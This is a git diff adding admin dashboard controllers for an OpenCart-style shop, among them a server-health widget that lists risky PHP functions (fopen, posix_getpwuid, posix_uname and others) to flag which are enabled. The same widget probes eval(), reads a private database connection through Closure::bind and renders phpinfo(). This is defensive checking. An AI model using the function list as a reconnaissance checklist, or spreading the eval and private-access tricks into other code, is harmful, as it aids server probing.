+ $data['dashboard_domovoy_warning_funtions'] = "diskfreespace\r\ndisk_total_space\r\ndisk_total_space\r\nfileperms\r\nfopen\r\nphpversion\r\nopendir\r\nposix_getpwuid\r\nposix_uname";
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_width'])) {
+ $data['dashboard_domovoy_width'] = $this->request->post['dashboard_domovoy_width'];
+ } else {
+ $data['dashboard_domovoy_width'] = $this->config->get('dashboard_domovoy_width');
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_disk_free_space'])) {
+ $data['dashboard_domovoy_disk_free_space'] = $this->request->post['dashboard_domovoy_disk_free_space'];
+ } elseif($this->config->get('dashboard_domovoy_disk_free_space')) {
+ $data['dashboard_domovoy_disk_free_space'] = $this->config->get('dashboard_domovoy_disk_free_space');
+ } else {
+ $data['dashboard_domovoy_disk_free_space'] = 500;
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_free_space_status'])) {
+ $data['dashboard_domovoy_free_space_status'] = $this->request->post['dashboard_domovoy_free_space_status'];
+ } else {
+ $data['dashboard_domovoy_free_space_status'] = $this->config->get('dashboard_domovoy_free_space_status');
+ }
+
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_status'])) {
+ $data['dashboard_domovoy_status'] = $this->request->post['dashboard_domovoy_status'];
+ } else {
+ $data['dashboard_domovoy_status'] = $this->config->get('dashboard_domovoy_status');
+ }
+
+
+ if (isset($this->request->post['dashboard_domovoy_sort_order'])) {
+ $data['dashboard_domovoy_sort_order'] = $this->request->post['dashboard_domovoy_sort_order'];
+ } else {
+ $data['dashboard_domovoy_sort_order'] = $this->config->get('dashboard_domovoy_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/domovoy_form', $data));
+ }
+
+ protected function validate()
+ {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/domovoy')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard()
+ {
+ $this->load->language('common/developer');
+ $this->load->language('extension/dashboard/domovoy');
+
+ $this->document->addStyle('view/stylesheet/fork-awesome.css');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['developer_theme'] = $this->config->get('developer_theme');
+
+ $eval = false;
+
+ $eval = '$eval = true;';
+
+ eval($eval);
+
+ if ($eval === true) {
+ $data['eval'] = true;
+ } else {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('developer', array('developer_theme' => 1), 0);
+
+ $data['eval'] = false;
+ }
+
+ $data['activities'] = array();
+
+ $folders = array('logs' => array('dir' => DIR_STORAGE . 'logs'), 'cache' => array('dir' => DIR_CACHE), 'imagescache' => array('dir' => DIR_IMAGE . 'cache'));
+
+ $data['setting'] = $this->url->link('extension/dashboard/domovoy', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['folders'] = array();
+
+ foreach ($folders as $key => $folder) {
+ $data['folders'][$key]['name'] = $this->language->get('text_dir_' . $key);
+ $data['folders'][$key]['key'] = $key;
+
+ if ($this->config->get("dashboard_domovoy_cron")) {
+ $cron = $this->config->get("dashboard_domovoy_cron");
+ $folder_size = $cron[$key]['size'] * pow(1024, 2);
+ } else {
+ $folder_size = 0;
+ }
+
+ // Calc Cron
+
+ $cron_time = $cron[$key]['time'] * 60;
+
+ $cache = $this->config->get('domovoy_folders_' . $key);
+
+ if ($cache) {
+
+ $time = $this->date_diff(date('Y-m-d H:i'), $cache['date']);
+ if ($cron[$key]['status'] && $time > $cron_time) {
+ $this->calc($key);
+ }
+
+ $data['folders'][$key]['size'] = sprintf($this->language->get('text_folder_size'), $cache['unit']['size'] . " " . $cache['unit']['unit']);
+ if ($cache['size'] > $folder_size && $folder_size != 0) {
+ $data['folders'][$key]['warning_size'] = sprintf($this->language->get('text_warning_size'), $cron[$key]['size']);
+ } else {
+ $data['folders'][$key]['warning_size'] = false;
+ }
+ $data['folders'][$key]['files'] = sprintf($this->language->get('text_folder_files'), $cache['files']) . " | " . $cache['date'];
+ } else {
+ $data['folders'][$key]['size'] = $this->language->get('text_check');
+ }
+ }
+
+ $data['phpversion'] = phpversion();
+
+ $reader = function & ($object, $property) {
+ $value = &Closure::bind(function & () use ($property) {
+ return $this->$property;
+ }, $object, $object)->__invoke();
+ return $value;
+ };
+
+ $result = &$reader($this->db, 'adaptor');
+ $result = &$reader($result, 'connection');
+
+ $data['database_version'] = $result->server_info;
+
+
+ if (function_exists('ioncube_loader_version')) {
+ $data['ioncube_version'] = ioncube_loader_version();
+ }
+
+ if (function_exists('disk_free_space') && $this->config->get('dashboard_domovoy_free_space_status')) {
+ $disk_space = disk_free_space("/");
+ $data['disk_free_space'] = $this->format_size($disk_space);
+ $space_limit = $this->config->get("dashboard_domovoy_disk_free_space");
+ $folder_size = $space_limit * pow(1024, 2);
+ if ($disk_space < $folder_size) {
+ $data['disk_free_space_warning'] = sprintf($this->language->get('text_warning_free_space'), $space_limit);
+ }
+ }
+
+ $danger_funtions = explode("\r\n", $this->config->get('dashboard_domovoy_danger_funtions'));
+ if (!empty($danger_funtions)) {
+ $data['danger_funtions'] = $this->checkFunc($danger_funtions);
+ } else {
+ $data['danger_funtions'] = array();
+ }
+
+ $warning_funtions = explode("\r\n", $this->config->get('dashboard_domovoy_warning_funtions'));
+ if (!empty($warning_funtions)) {
+ $data['warning_funtions'] = $this->checkFunc($warning_funtions);
+ } else {
+ $data['warning_funtions'] = array();
+ }
+
+ return $this->load->view('extension/dashboard/domovoy_info', $data);
+ }
+
+ public function clear($dir = false)
+ {
+ $this->load->language('extension/dashboard/domovoy');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/domovoy')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['dir']) or $dir) {
+ if ($dir) {
+ $key = $dir;
+ } else {
+ $key = $this->request->get['dir'];
+ }
+
+ $folders = array('logs' => array('dir' => DIR_STORAGE . 'logs/*'), 'cache' => array('dir' => DIR_CACHE . 'cache.*'), 'imagescache' => array('dir' => DIR_IMAGE . 'cache/*'));
+
+ $files = glob($folders[$key]['dir']);
+ if (!empty($files)) {
+ foreach ($files as $file) {
+ $this->deldir($file);
+ }
+ }
+ $json['success'] = sprintf($this->language->get('text_cache'), $this->language->get('text_clearfolder'));
+ } else {
+ $json['error'] = $this->language->get('error_folder');
+ }
+ }
+
+ if (!$dir) {
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+ }
+
+ public function calc($dir = false)
+ {
+ $this->load->language('extension/dashboard/domovoy');
+ $this->load->model('setting/setting');
+
+ if (isset($this->request->get['dir']) or $dir) {
+
+ $folders = array('logs' => array('dir' => DIR_STORAGE . 'logs'), 'cache' => array('dir' => DIR_CACHE), 'imagescache' => array('dir' => DIR_IMAGE . 'cache'));
+
+ if ($dir) {
+ $key = $dir;
+ } else {
+ $key = $this->request->get['dir'];
+ }
+
+
+ $folder = array();
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/domovoy')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $folder['size'] = $this->getFilesSize($folders[$key]['dir']);
+ $folder['unit'] = $this->format_size($folder['size']);
+ $folder['files'] = count(scandir($folders[$key]['dir'])) - 2;
+ $folder['date'] = date("Y-m-d H:i:s");
+
+ $value = $this->model_setting_setting->getSettingValue('domovoy_folders_' . $key);
+ if ($value) {
+ $this->model_setting_setting->editSettingValue('domovoy', 'domovoy_folders_' . $key, $folder);
+ } else {
+ $settings = $this->model_setting_setting->getSetting('domovoy');
+ $settings['domovoy_folders_' . $key] = $folder;
+ $this->model_setting_setting->editSetting('domovoy', $settings);
+ }
+
+ if ($this->config->get("dashboard_domovoy_cron")) {
+ $cron = $this->config->get("dashboard_domovoy_cron");
+ $folder_size = $cron[$key]['size'] * pow(1024, 2);
+ } else {
+ $folder_size = 0;
+ }
+
+ if ($folder['size'] > $folder_size && $folder_size != 0) {
+ $warning_size = sprintf($this->language->get('text_warning_size'), $cron[$key]['size']);
+ } else {
+ $warning_size = $this->language->get('text_normal');
+ }
+
+ $json['success'] = sprintf($this->language->get('text_folder_size'), $folder['unit']['size'] . " " . $folder['unit']['unit']) . sprintf($this->language->get('text_folder_files'), $folder['files']) . " | " . $warning_size;
+ }
+ } else {
+ $json['error'] = $this->language->get('error_folder');
+ }
+
+ if (!$dir) {
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+ }
+
+ public function phpinfo()
+ {
+
+ ob_start();
+ phpinfo();
+ $data['phpinfo'] = ob_get_contents();
+ ob_end_clean();
+
+ $data['phpinfo'] = preg_replace('@@si', '', $data['phpinfo']);
+
+ $this->response->setOutput($this->load->view('extension/dashboard/phpinfo', $data));
+ }
+
+ private function getFilesSize($path)
+ {
+ $fileSize = 0;
+ $dir = scandir($path);
+
+ foreach ($dir as $file) {
+ if (($file != '.') && ($file != '..'))
+ if (is_dir($path . '/' . $file))
+ $fileSize += $this->getFilesSize($path . '/' . $file);
+ else
+ $fileSize += filesize($path . '/' . $file);
+ }
+
+ return $fileSize;
+ }
+
+ private function format_size($size)
+ {
+ $this->load->language('extension/dashboard/domovoy');
+ $metrics[0] = $this->language->get('text_metrics_bit');
+ $metrics[1] = $this->language->get('text_metrics_kbit');
+ $metrics[2] = $this->language->get('text_metrics_mbit');
+ $metrics[3] = $this->language->get('text_metrics_gbit');
+ $metrics[4] = $this->language->get('text_metrics_tbit');
+ $metric = 0;
+
+ $ret = array();
+
+ while (floor($size / 1024) > 0) {
+ ++$metric;
+ $size /= 1024;
+ }
+ $ret['size'] = round($size, 1);
+ $ret['unit'] = isset($metrics[$metric]) ? $metrics[$metric] : '??';
+ return $ret;
+ }
+
+ private function checkFunc($functions)
+ {
+ $result = array();
+ foreach ($functions as $function) {
+ if (function_exists($function)) {
+ $result[] = $function;
+ }
+ }
+
+ $result = implode(", ", $result);
+ return $result;
+ }
+
+ private function deldir($dirname)
+ {
+ if (file_exists($dirname)) {
+ if (is_dir($dirname)) {
+ $dir = opendir($dirname);
+ while (($filename = readdir($dir)) !== false) {
+ if ($filename != "." && $filename != "..") {
+ $file = $dirname . "/" . $filename;
+ $this->deldir($file);
+ }
+ }
+ closedir($dir);
+ rmdir($dirname);
+ } else {
+ @unlink($dirname);
+ }
+ }
+ }
+
+ private function date_diff($date1, $date2)
+ {
+ $diff = strtotime($date2) - strtotime($date1);
+ return abs($diff);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/map.php b/public/admin/controller/extension/dashboard/map.php
new file mode 100644
index 0000000..0e19331
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/map.php
@@ -0,0 +1,111 @@
+load->language('extension/dashboard/map');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_map', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/map', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/map', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_map_width'])) {
+ $data['dashboard_map_width'] = $this->request->post['dashboard_map_width'];
+ } else {
+ $data['dashboard_map_width'] = $this->config->get('dashboard_map_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_map_status'])) {
+ $data['dashboard_map_status'] = $this->request->post['dashboard_map_status'];
+ } else {
+ $data['dashboard_map_status'] = $this->config->get('dashboard_map_status');
+ }
+
+ if (isset($this->request->post['dashboard_map_sort_order'])) {
+ $data['dashboard_map_sort_order'] = $this->request->post['dashboard_map_sort_order'];
+ } else {
+ $data['dashboard_map_sort_order'] = $this->config->get('dashboard_map_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/map_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/map')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/map');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ return $this->load->view('extension/dashboard/map_info', $data);
+ }
+
+ public function map() {
+ $json = array();
+
+ $this->load->model('extension/dashboard/map');
+
+ $results = $this->model_extension_dashboard_map->getTotalOrdersByCountry();
+
+ foreach ($results as $result) {
+ $json[strtolower($result['iso_code_2'])] = array(
+ 'total' => $result['total'],
+ 'amount' => $this->currency->format($result['amount'], $this->config->get('config_currency'))
+ );
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/online.php b/public/admin/controller/extension/dashboard/online.php
new file mode 100644
index 0000000..4bb1ff7
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/online.php
@@ -0,0 +1,113 @@
+load->language('extension/dashboard/online');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_online', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/online', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/online', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_online_width'])) {
+ $data['dashboard_online_width'] = $this->request->post['dashboard_online_width'];
+ } else {
+ $data['dashboard_online_width'] = $this->config->get('dashboard_online_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_online_status'])) {
+ $data['dashboard_online_status'] = $this->request->post['dashboard_online_status'];
+ } else {
+ $data['dashboard_online_status'] = $this->config->get('dashboard_online_status');
+ }
+
+ if (isset($this->request->post['dashboard_online_sort_order'])) {
+ $data['dashboard_online_sort_order'] = $this->request->post['dashboard_online_sort_order'];
+ } else {
+ $data['dashboard_online_sort_order'] = $this->config->get('dashboard_online_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/online_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/online')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/online');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ // Total Orders
+ $this->load->model('extension/dashboard/online');
+
+ // Customers Online
+ $online_total = $this->model_extension_dashboard_online->getTotalOnline();
+
+ if ($online_total > 1000000000000) {
+ $data['total'] = round($online_total / 1000000000000, 1) . 'T';
+ } elseif ($online_total > 1000000000) {
+ $data['total'] = round($online_total / 1000000000, 1) . 'B';
+ } elseif ($online_total > 1000000) {
+ $data['total'] = round($online_total / 1000000, 1) . 'M';
+ } elseif ($online_total > 1000) {
+ $data['total'] = round($online_total / 1000, 1) . 'K';
+ } else {
+ $data['total'] = $online_total;
+ }
+
+ $data['online'] = $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'], true);
+
+ return $this->load->view('extension/dashboard/online_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/order.php b/public/admin/controller/extension/dashboard/order.php
new file mode 100644
index 0000000..3383fe3
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/order.php
@@ -0,0 +1,124 @@
+load->language('extension/dashboard/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_order', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/order', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/order', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_order_width'])) {
+ $data['dashboard_order_width'] = $this->request->post['dashboard_order_width'];
+ } else {
+ $data['dashboard_order_width'] = $this->config->get('dashboard_order_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_order_status'])) {
+ $data['dashboard_order_status'] = $this->request->post['dashboard_order_status'];
+ } else {
+ $data['dashboard_order_status'] = $this->config->get('dashboard_order_status');
+ }
+
+ if (isset($this->request->post['dashboard_order_sort_order'])) {
+ $data['dashboard_order_sort_order'] = $this->request->post['dashboard_order_sort_order'];
+ } else {
+ $data['dashboard_order_sort_order'] = $this->config->get('dashboard_order_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/order_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/order')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/order');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ // Total Orders
+ $this->load->model('sale/order');
+
+ $today = $this->model_sale_order->getTotalOrders(array('filter_date_added' => date('Y-m-d', strtotime('-1 day'))));
+
+ $yesterday = $this->model_sale_order->getTotalOrders(array('filter_date_added' => date('Y-m-d', strtotime('-2 day'))));
+
+ $difference = $today - $yesterday;
+
+ if ($difference && $today) {
+ $data['percentage'] = round(($difference / $today) * 100);
+ } else {
+ $data['percentage'] = 0;
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrders();
+
+ if ($order_total > 1000000000000) {
+ $data['total'] = round($order_total / 1000000000000, 1) . 'T';
+ } elseif ($order_total > 1000000000) {
+ $data['total'] = round($order_total / 1000000000, 1) . 'B';
+ } elseif ($order_total > 1000000) {
+ $data['total'] = round($order_total / 1000000, 1) . 'M';
+ } elseif ($order_total > 1000) {
+ $data['total'] = round($order_total / 1000, 1) . 'K';
+ } else {
+ $data['total'] = $order_total;
+ }
+
+ $data['order'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'], true);
+
+ return $this->load->view('extension/dashboard/order_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/recent.php b/public/admin/controller/extension/dashboard/recent.php
new file mode 100644
index 0000000..45063c7
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/recent.php
@@ -0,0 +1,118 @@
+load->language('extension/dashboard/recent');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_recent', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/recent', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/recent', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_recent_width'])) {
+ $data['dashboard_recent_width'] = $this->request->post['dashboard_recent_width'];
+ } else {
+ $data['dashboard_recent_width'] = $this->config->get('dashboard_recent_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_recent_status'])) {
+ $data['dashboard_recent_status'] = $this->request->post['dashboard_recent_status'];
+ } else {
+ $data['dashboard_recent_status'] = $this->config->get('dashboard_recent_status');
+ }
+
+ if (isset($this->request->post['dashboard_recent_sort_order'])) {
+ $data['dashboard_recent_sort_order'] = $this->request->post['dashboard_recent_sort_order'];
+ } else {
+ $data['dashboard_recent_sort_order'] = $this->config->get('dashboard_recent_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/recent_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/recent')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/recent');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ // Last 5 Orders
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'sort' => 'o.date_added',
+ 'order' => 'DESC',
+ 'start' => 0,
+ 'limit' => 5
+ );
+
+ $this->load->model('sale/order');
+
+ $results = $this->model_sale_order->getOrders($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'status' => $result['order_status'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'total' => $this->currency->format($result['total'], $result['currency_code'], $result['currency_value']),
+ 'view' => $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'], true),
+ );
+ }
+
+ return $this->load->view('extension/dashboard/recent_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/sale.php b/public/admin/controller/extension/dashboard/sale.php
new file mode 100644
index 0000000..887079c
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/sale.php
@@ -0,0 +1,123 @@
+load->language('extension/dashboard/sale');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_sale', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/sale', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/sale', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_sale_width'])) {
+ $data['dashboard_sale_width'] = $this->request->post['dashboard_sale_width'];
+ } else {
+ $data['dashboard_sale_width'] = $this->config->get('dashboard_sale_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_sale_status'])) {
+ $data['dashboard_sale_status'] = $this->request->post['dashboard_sale_status'];
+ } else {
+ $data['dashboard_sale_status'] = $this->config->get('dashboard_sale_status');
+ }
+
+ if (isset($this->request->post['dashboard_sale_sort_order'])) {
+ $data['dashboard_sale_sort_order'] = $this->request->post['dashboard_sale_sort_order'];
+ } else {
+ $data['dashboard_sale_sort_order'] = $this->config->get('dashboard_sale_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/sale_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/sale')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/sale');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('extension/dashboard/sale');
+
+ $today = $this->model_extension_dashboard_sale->getTotalSales(array('filter_date_added' => date('Y-m-d', strtotime('-1 day'))));
+
+ $yesterday = $this->model_extension_dashboard_sale->getTotalSales(array('filter_date_added' => date('Y-m-d', strtotime('-2 day'))));
+
+ $difference = $today - $yesterday;
+
+ if ($difference && (int)$today) {
+ $data['percentage'] = round(($difference / $today) * 100);
+ } else {
+ $data['percentage'] = 0;
+ }
+
+ $sale_total = $this->model_extension_dashboard_sale->getTotalSales();
+
+ if ($sale_total > 1000000000000) {
+ $data['total'] = round($sale_total / 1000000000000, 1) . 'T';
+ } elseif ($sale_total > 1000000000) {
+ $data['total'] = round($sale_total / 1000000000, 1) . 'B';
+ } elseif ($sale_total > 1000000) {
+ $data['total'] = round($sale_total / 1000000, 1) . 'M';
+ } elseif ($sale_total > 1000) {
+ $data['total'] = round($sale_total / 1000, 1) . 'K';
+ } else {
+ $data['total'] = round($sale_total);
+ }
+
+ $data['sale'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'], true);
+
